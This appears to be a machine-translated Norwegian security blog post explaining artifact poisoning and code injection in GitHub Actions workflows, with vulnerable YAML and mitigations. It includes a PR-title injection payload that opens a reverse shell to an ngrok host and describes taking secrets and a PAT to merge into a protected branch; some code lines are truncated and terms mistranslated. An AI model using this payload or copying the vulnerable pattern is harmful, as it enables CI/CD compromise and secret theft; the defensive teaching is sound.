I tidligere innlegg (se Indirekte forgiftning Pipeline Henrettelse I-PPE og Forgiftet Pipeline Utførelses-PPE , vi behandlet i hovedsak personlig verneutstyr (forgiftet Pipeline Henrettelse): vi så hvordan det fungerer, effektene det har, noe utnyttelse samt noen måter å beskytte seg mot det på.
Dette innlegget dykker dypt inn i noen andre CI/CD pipeline sårbarheter som artefaktforgiftning og kodeinjeksjon.
For å gjøre det, vil vi på en eller annen måte basere det på personlig verneutstyr, så la oss lage en rask oppsummering av hva vi så om personlig verneutstyr.
Tidligere arbeid med personlig verneutstyr
For å oppsummere, startet vi med en grunnleggende GitHub pipeline å bygge og teste bidratt kode gjennom en pull requestDessuten definerer den noen kontroller som, hvis de er oppfylt, vil slå sammen koden med den vanlige grenen. Vi kalte dette som Scenario nr. 1.

I vårt forrige innlegg viste vi hvordan dette grunnleggende pipeline var sårbar for både D-PPE og I-PPE.
Vi klarte å fikse D-PPE by endring av utløserhendelsen fra pull_request til pull_request_target, gjør pipeline trygt å D-PPE. Som en påminnelse, pipelines utløst på en pull_request_target-hendelse vil utføre basen pipeline koden, ikke pipeline koden som finnes i pull request.
Vi kalte dette som Scenario nr. 2.

Som et resultat av denne modifikasjonen viste vi at Scenario nr. 2 var fortsatt sårbart for I-PPE.
For å fikse det bestemte vi oss å dele opp pipeline i to:
- Den første pipeline (Bygg CI) ville sjekk PR-koden (for å bygge den), lag byggingen og generer en artefakt.
- Den 2ende pipeline (Test-CI) ville sjekk ut basiskoden (for å unngå modifikasjon av skallskript) og kjør de originale skriptene mot artefaktet.
- For å synkronisere test-CI pipeline å kjøre ETTER Build CI pipeline, vil vi bruke arbeidsflytkjøring avtrekker.
Vi kalte dette som Scenario nr. 3.

La oss gjenopprette koden til begge pipelinei henhold til disse modifikasjonene…
1. pipeline (Bygge CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2. pipeline (Test-CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
Artefaktforgiftning
I følge ovenstående CI/CD pipelines:
- pipeline Bygg CI is trygge til begge D-PPE (på grunn av pull_request_target) Og I-PVU (fordi den ikke lenger kjører skallskriptet).
- pipeline Test-CI er også trygge til begge D-PPE (på grunn av arbeidsflytkjøring) Og I-PVU (fordi den sjekker basiskoden for å få det originale skallskriptet)
La oss dykke dypere inn i denne «løsningen».
Pipeline Test-CI laster ned artefaktet som en zip-fil.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Når den er pakket ut, kjører den skallskriptet «safe». Hvorfor sier jeg skallskriptet «safe»? Fordi i et tidligere trinn, pipeline sjekker ut «basiskoden», slik at det originale skriptet plasseres i arbeidsområdemappen. Derfor, når pipeline kjører skallskriptet den vil kjøre ved hjelp av binærfilen som tidligere er lastet ned.
Så, hva er problem med denne tilnærmingen? Problemet oppstår når en bruker «oppretter» en ny pipeline.
Hvis en bruker åpner en PR som inneholder en ny pipeline, GitHub vil utføre det pipeline (gitt noen betingelser, som vi så i det forrige poste).
Gitt dette, hva om brukeren oppretter en ny pipeline med samme navn som Build CI? Ja, det er overraskende, men GitHub lar deg opprette to pipelinemed samme navn!!
Husk at Test CI vil kjøres etter at Build CI er ferdig…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Overraskende nok, for det er nå to pipelines med samme navn, den pipeline Test CI vil kjøres to gangeren etter originalen pipeline og andre etter den «nye» pipeline.
Hvordan kan hackeren utnytte dette?
- Først kan den ondsinnede brukeren endre skallskriptet for å sende hemmeligheten til den hackerkontrollerte serveren.
- For det andre, den nye pipeline inkluderer en linje for å kopiere det modifiserte skallskriptet inn i artefaktet → forgiftning av artifatenct!!!
Når brukeren åpner en PR med disse endringene, vil den «nye» pipeline vil bli henrettet (laster opp en forgiftet gjenstand) og Deploy CI pipeline vil bli henrettet etter det, noe som resulterer i Det «modifiserte» skallskriptet overskriver det «originale» skallskriptet som ligger i pipeline arbeidsområdet.

Dette er hva vi kaller Artefaktforgiftning, dvs. muligheten til å endre (hacke) pipeline logikk gjennom modifisering av en pipeline artefakt.
En mulig utbedring er ganske grei: Bare det å pakke ut artefakten til en undermappe i arbeidsområdet ville unngå å overskrive det «grunnleggende» skallskriptet..
Kodeinjeksjon
Foruten artefaktforgiftning, kan du se noen andre sårbarheter i koden ovenfor?
La oss gå!!
Som du kan se i koden, pipeline Bygg CI bygger binærfilen, den laster opp binærfilen som en pipeline artefakt, og i tillegg laster den opp et par tilleggsdata: PR-tittelen og PR-ID-en.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Hvorfor? Fordi for å slå sammen PR, som du kan se nedenfor, Test CI pipeline trenger PR-ID-en for å kalle GitHub REST API som slår sammen PR-en.
Hvordan fungerer test-CI-en? pipeline få tak i den PR-ID-en? Dele informasjon i tekstfiler (del av en pipeline artefakt) er en vanlig måte å dele informasjon mellom pipelines. Og det er akkurat det disse pipelines gjør.
echo "Merging .."
PR_ID=$(
Strengt tatt er det bare PR-ID-en som trengs for å slå sammen PR-en, men pipeline Admin bestemte at Build CI også skulle inkludere PR-tittelen, slik at Test CI også pipeline ville skrive ut en informasjonsmelding som inneholder både PR-ID og tittel.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
PR-tittelen er alltid data som kommer fra brukeren, og må derfor alltid anses som upålitelig.. Så pipeline må håndteres som sådan og iverksette beskyttelsestiltak.
I koden ovenfor kan vi se den spesifikke meldingen som gjenspeiler PR-tittelen. Det er bare en «echo» Linux-kommando.
Gjennom strenginterpolasjon, hvis tittelen er «en dummytittel», genererer Github internt et skript som inneholder
echo ""a dummy title""
Men hva om PR-tittelen ville vært noe sånt som:
"Ondsinnet tittel" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Skriptet ville blitt:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Noe som resulterer i åpning av et omvendt skall mot den hackerkontrollerte serveren.

Det omvendte skallet kan brukes til å få tilgang til pipeline hemmeligheter (husk at Test CI kjører i privilegiemodus fordi den utløses av workflow_run, slik at den har tilgang til hemmeligheter).
Men hva annet kan man gjøre gjennom det omvendte skallet?
Se på CI-testkoden:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
Som du kan se i Test CI pipeline, curl merge-kommandoen bruker GITHUB_PAT (definert som en pipeline env var), slik at løperen inneholder GITHUB_PAT som en miljøvariabel. Dessuten oppretter den også en env var som leser PR ID-en.
Så hackeren trenger bare å kopiere curl-kommandoen og lime den inn i det omvendte skallet, og slå den sammen med PR-en direkte i den beskyttede grenen.

For å beskytte alt dette:
- Til unngå strenginterpolering med upålitelige data (sårbar for kodeinjeksjon) av definere pipeline miljøvariabler i stedet for å bruke den direkte i echo-kommandoer
I stedet for å bruke:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Bruk dette:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Selv med kodeinjeksjonsutnyttelse, ville curl merge-kommandoen ikke ha lykkes hvis du hadde gjort det riktig beskyttet din pull requests gjennom en obligatorisk gjennomgang eller godkjenning.
Konklusjoner
Det er på en måte vanskelig å beskytte CI/CD pipelines konfigurasjon og få pipelineer fri for sårbarheter.
Dette betyr ikke det CI/CD systemer (som GitHub i dette tilfellet) er sårbare i seg selv. CI/CD Systemer gir midler til å beskytte mot sårbarheter ... men det er administratorens ansvar å implementere denne beskyttelsen.
Men… Du kan ikke løse en sårbarhet med mindre du er klar over dens eksistens!!!
Selvfølgelig kan en svært dyktig devops-administrator ha alle disse truslene i tankene og beskytte dem på riktig måte. CI/CD pipelines, men likevel er det svært verdifullt å bruke et produkt for å oppdage alle disse typene sårbarheter. Og selvfølgelig for å automatisere denne sårbarhetsdeteksjonsprosessen (for eksempel å kjøre skanningen som en del av CI/CD pipelines).
Denne tilnærmingen kan kalles «Sikkerhetsporten":
- Lage en ny pipeline (Sikkerhetsport) for å sjekke etter CI/CD pipelines sårbarheter og gjøre den andre CI-en pipelines skal kun utføres etter vellykket fullføring av sikkerhetsporten pipeline.
- Sikkerhetsporten pipelines vil sjekke etter CI/CD pipelinesårbarheter og,
- Hvis det finnes sårbarheter, vil den mislykkes, og derfor den andre pipelines vil ikke bli henrettet.
- Hvis ingen sårbarheter blir funnet, pipeline vil lykkes og den andre pipelines vil kjøre som vanlig.








